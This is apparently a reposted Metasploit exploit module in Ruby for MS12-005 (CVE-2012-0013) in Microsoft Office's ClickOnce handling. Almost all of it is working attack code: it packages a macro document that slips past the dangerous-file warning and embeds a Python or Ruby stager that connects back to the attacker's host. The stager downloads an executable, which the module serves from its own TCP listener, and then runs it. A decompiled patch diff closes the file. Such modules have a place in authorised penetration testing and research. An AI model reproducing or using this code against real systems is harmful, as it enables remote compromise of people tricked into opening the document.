Microsoft Office – ClickOnce Unsafe Object Package Handling (MS12-005) (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' require 'rex/zip' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::EXE include Msf::Exploit::Remote::TcpServer def initialize(info={}) super(update_info(info, 'Name' => "MS12-005 Microsoft Office ClickOnce Unsafe Object Package Handling Vulnerability", 'Description' => %q{ This module exploits a vulnerability found in Microsoft Office's ClickOnce feature. When handling a Macro document, the application fails to recognize certain file extensions as dangerous executables, which can be used to bypass the warning message. This allows you to trick your victim into opening the malicious document, which will load up either a python or ruby payload based on your choosing, and then finally download and execute our executable. }, 'License' => MSF_LICENSE, 'Author' => [ 'Yorick Koster', #Vuln discovery 'sinn3r' #Metasploit ], 'References' => [ ['CVE', '2012-0013'], ['OSVDB', '78207'], ['MSB', 'ms12-005'], ['BID', '51284'], ['URL', 'http://support.microsoft.com/default.aspx?scid=kb;EN-US;2584146'], ['URL', 'http://exploitshop.wordpress.com/2012/01/14/ms12-005-embedded-object-package-allow-arbitrary-code-execution/'] ], 'Payload' => { 'BadChars' => "\x00" }, 'DefaultOptions' => { 'ExitFunction' => "none", 'DisablePayloadHandler' => 'false' }, 'Platform' => 'win', 'Targets' => [ ['Microsoft Office Word 2007/2010 on Windows 7', {}], ], 'Privileged' => false, 'DisclosureDate' => "Jan 10 2012", 'DefaultTarget' => 0)) register_options( [ OptEnum.new('PAYLOAD_TYPE', [true, "The initial payload type", 'PYTHON', %w(RUBY PYTHON)]), OptString.new("BODY", [false, 'The message for the document body', '']), OptString.new('FILENAME', [true, 'The Office document macro file', 'msf.docm']) ], self.class) end # # Return the first-stage payload that will download our malicious executable. # def get_download_exec_payload(type, lhost, lport) payload_name = Rex::Text.rand_text_alpha(7) # Padd up 6 null bytes so the first few characters won't get cut off p = "\x00"*6 case type when :rb p << %Q| require 'socket' require 'tempfile' begin cli = TCPSocket.open("#{lhost}",#{lport}) buf = '' while l = cli.gets buf << l end cli.close tmp = Tempfile.new(['#{payload_name}','.exe']) t = tmp.path tmp.binmode tmp.write(buf) tmp.close exec(t) rescue end#| when :py p << %Q| import socket import tempfile import os s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("#{lhost}", #{lport})) buf = "" while True: data = s.recv(1024) if data: buf += data else: break s.close temp = tempfile.gettempdir() + "\\\\\\" + "#{payload_name}.exe" f = open(temp, "wb") f.write(buf) f.close f = None os.system(temp) #| end p = p.gsub(/^\t\t\t/, '') return p end # # Reads a file that'll be packaged. # This will patch certain files on the fly, or return the original content of the file. # def on_file_read(fname, file) f = open(file, 'rb') buf = f.read f.close # Modify certain files on the fly case file when /oleObject1\.bin/ # Patch the OLE object file with our payload print_status("Patching OLE object") ptype = datastore['PAYLOAD_TYPE'] == 'PYTHON' ? :py : :rb p = get_download_exec_payload(ptype, @ip, @port) buf = buf.gsub(/MYPAYLOAD/, p) # Patch username username = Rex::Text.rand_text_alpha(5) buf = buf.gsub(/METASPLOIT/, username) buf = buf.gsub(/#{Rex::Text.to_unicode("METASPLOIT")}/, Rex::Text.to_unicode(username)) # Patch the filename f = Rex::Text.rand_text_alpha(6) buf = buf.gsub(/MYFILENAME/, f) buf = buf.gsub(/#{Rex::Text.to_unicode("MYFILENAME")}/, Rex::Text.to_unicode(f)) # Patch the extension name ext = ptype.to_s buf = buf.gsub(/MYEXT/, ext) buf = buf.gsub(/#{Rex::Text.to_unicode("MYEXT")}/, Rex::Text.to_unicode(ext)) when /document\.xml/ print_status("Patching document body") # Patch the docx body buf = buf.gsub(/W00TW00T/, datastore['BODY']) end # The original filename of __rels is actually ".rels". # But for some reason if that's our original filename, it won't be included # in the archive. So this hacks around that. case fname when /__rels/ fname = fname.gsub(/\_\_rels/, '.rels') end yield fname, buf end # # Packages the Office Macro Document # def package_docm_rex(path) zip = Rex::Zip::Archive.new Dir["#{path}/**/**"].each do |file| p = file.sub(path+'/','') if File.directory?(file) print_status("Packging directory: #{file}") zip.add_file(p) else on_file_read(p, file) do |fname, buf| print_status("Packaging file: #{fname}") zip.add_file(fname, buf) end end end zip.pack end # # Return the malicious executable # def on_client_connect(cli) print_status("#{cli.peerhost}:#{cli.peerport} - Sending executable (#{@exe.length.to_s} bytes)") cli.put(@exe) service.close_client(cli) end def exploit @ip = datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST'] @port = datastore['SRVPORT'] print_status("Generating our docm file...") path = File.join(Msf::Config.install_root, 'data', 'exploits', 'CVE-2012-0013') docm = package_docm_rex(path) file_create(docm) print_good("Let your victim open #{datastore['FILENAME']}") print_status("Generating our malicious executable...") @exe = generate_payload_exe print_status("Ready to deliver your payload on #{@ip}:#{@port.to_s}") super end end =begin mbp:win7_diff sinn3r$ diff patch/GetCurrentIcon.c vuln/GetCurrentIcon.c 1c1 < void *__thiscall CPackage::_GetCurrentIcon(void *this, int a2) --- > const WCHAR *__thiscall CPackage::_GetCurrentIcon(void *this, int a2) ... 24c24 < if ( AssocIsDangerous(result) || !SHGetFileInfoW(pszPath, 0x80u, &psfi, 0x2B4u, 0x110u) ) --- > if ( IsProgIDInList(0, result, extList, 0x11u) || !SHGetFileInfoW(pszPath, 0x80u, &psfi, 0x2B4u, 0x110u) ) 31c31 =end |